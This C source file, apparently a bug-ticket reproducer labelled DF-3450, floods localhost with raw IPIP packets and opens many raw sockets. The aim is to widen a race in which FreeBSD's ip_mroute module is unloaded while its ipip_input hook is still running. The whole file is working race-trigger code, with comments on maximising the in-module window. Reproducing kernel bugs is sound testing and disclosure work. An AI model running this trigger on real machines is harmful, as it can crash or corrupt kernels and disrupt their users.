DF-3450 / sprayer.c
/* * DF-3450 sprayer: flood IP proto-4 (IPIP) packets to 127.0.0.1 so that * encap4_input() (sys/netinet/ip_encap.c:231) keeps reading and calling the * ipip_input hook (X_ipip_input in the ip_mroute KLD) while a parallel * loop kldloads/kldunloads ip_mroute. * * The N extra raw IPPROTO_IPV4 sockets make rip_input() (called by * X_ipip_input when no tunnel is configured) walk a long socket list per * packet, widening the in-module execution window for the unload race. * Receiving our own packets on those sockets also proves X_ipip_input ran. * * build: cc -O2 -o sprayer sprayer.c * usage: ./sprayer [nrecv] ; runs forever, prints stats every 100k sends */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> static unsigned short cksum(unsigned short *p, int len) { unsigned long sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(unsigned char *)p; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } int main(int argc, char **argv) { struct sockaddr_in dst; struct { struct ip ip; char pad[16]; } pkt; int nrecv = argc > 1 ? atoi(argv[1]) : 96; int rx[512], tx, i, one = 1; unsigned long sent = 0, recvd = 0; char buf[2048]; if (nrecv > 512) nrecv = 512; for (i = 0; i < nrecv; i++) { rx[i] = socket(AF_INET, SOCK_RAW, IPPROTO_IPV4); if (rx[i] < 0) { perror("rx socket"); exit(1); } fcntl(rx[i], F_SETFL, O_NONBLOCK); } tx = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (tx < 0) { perror("tx socket"); exit(1); } if (setsockopt(tx, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("HDRINCL"); exit(1); } memset(&pkt, 0, sizeof(pkt)); pkt.ip.ip_v = 4; pkt.ip.ip_hl = 5; pkt.ip.ip_tos = 0; pkt.ip.ip_len = htons(sizeof(pkt)); pkt.ip.ip_id = 0; pkt.ip.ip_off = 0; pkt.ip.ip_ttl = 64; pkt.ip.ip_p = 4; /* IPPROTO_IPV4 / IPIP */ pkt.ip.ip_src.s_addr = inet_addr("127.0.0.1"); pkt.ip.ip_dst.s_addr = inet_addr("127.0.0.1"); pkt.ip.ip_sum = cksum((unsigned short *)&pkt, sizeof(pkt)); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_addr.s_addr = inet_addr("127.0.0.1"); for (;;) { for (i = 0; i < 64; i++) { if (sendto(tx, &pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)) > 0) sent++; } /* drain a little: proves X_ipip_input->rip_input delivery and * keeps rcvbufs churning (max in-module work per packet) */ for (i = 0; i < nrecv; i += 8) { while (recv(rx[i], buf, sizeof(buf), MSG_DONTWAIT) > 0) recvd++; } if ((sent % 100000) < 64) { fprintf(stderr, "sprayer: sent=%lu recvd=%lu\n", sent, recvd); /* refresh checksum in case stack fiddled */ pkt.ip.ip_sum = 0; pkt.ip.ip_sum = cksum((unsigned short *)&pkt, sizeof(pkt)); } } } |